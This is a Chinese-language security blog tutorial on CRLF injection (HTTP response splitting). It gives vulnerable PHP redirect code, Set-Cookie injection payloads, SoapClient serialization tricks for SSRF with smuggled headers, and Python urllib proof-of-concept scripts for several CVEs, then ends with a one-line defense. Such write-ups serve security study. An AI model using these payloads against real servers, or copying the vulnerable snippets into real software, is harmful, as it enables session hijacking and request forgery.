CRLF

Last updated on September 27, 2024 am

介绍

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

需要有http请求,才能利用crlf,要不然没法将构造的数据包发出去

常见利用方式

Location 字段的 302 跳转

一般网站会在HTTP头中用 Location: baidu.com 这种方式来进行302跳转,如果我们能控制 Location: 后面的某个网址的URL,就可以进行HRS攻击。

例如:

1
2
3
4
<?php
if(isset($_GET["url"])){. header("Location:".$_GET['url']);
exit;
}

由于url是我们可控的,而Location最终会写到http相应正文中,所以通过加入\r\n就可以对http报文进行注入

1
?url=%0d%0aSet-Cookie: PHPSESSID=whoami
1
2
3
4
5
6
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: %0d%0aSet-Cookie: PHPSESSID=whoami

PHP – CRLF攻击

fsockopen() 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
1
?url=47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
1
2
3
GET / HTTP/1.1
Host: 47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
Connection: Close
PHP SoapClient 类

默认是发送post请求

1
2
3
4
5
6
7
8
<?php
$target = 'http://47.xxx.xxx.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
1
2
3
4
5
6
7
POST / HTTP/1.1
Host: 47.xxx.xxx.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

发送post数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://47.xxx.xxx.72:4000/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

Python–CRLF攻击

urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容

http://www.mi1k7ea.com/2020/03/09/Python-urllib-CRLF注入漏洞小结/

CVE-2016-5699

影响版本:urllib2 and urllib in CPython (aka Python) before 2.7.10 and 3.x before 3.4.4

CRLF注入,注入点在IP地址和端口号的分隔符即:前面:

1
http://10.10.10.10\r\nx-injected: header\r\ntest:8080

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
CVE-2019-9740

影响版本:urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

正常访问URL:

1
http://10.10.10.10:8080/test/?test=a

CRLF注入,注入点在IP地址和端口号的分隔符即:前面,但是和前者的区别在于注入新的端口:

1
http://10.10.10.10:1234?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
CVE-2019-9947

影响版本:urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

CRLF注入,注入点在端口号后面:

1
2
http://10.10.10.10:8080/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
http://10.10.10.10:8080/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
1
2
3
4
5
import urllib.request

urllib.request.urlopen('http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
# 或者
#urllib.request.urlopen('http://192.168.10.137:7777/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')

防御

过滤掉\r\n

参考资料

https://xz.aliyun.com/t/12387?time__1311=mqmhD57KAKGIzDBqDTeeqBKM3ctmhP6xx&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/05/10/CRLF/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!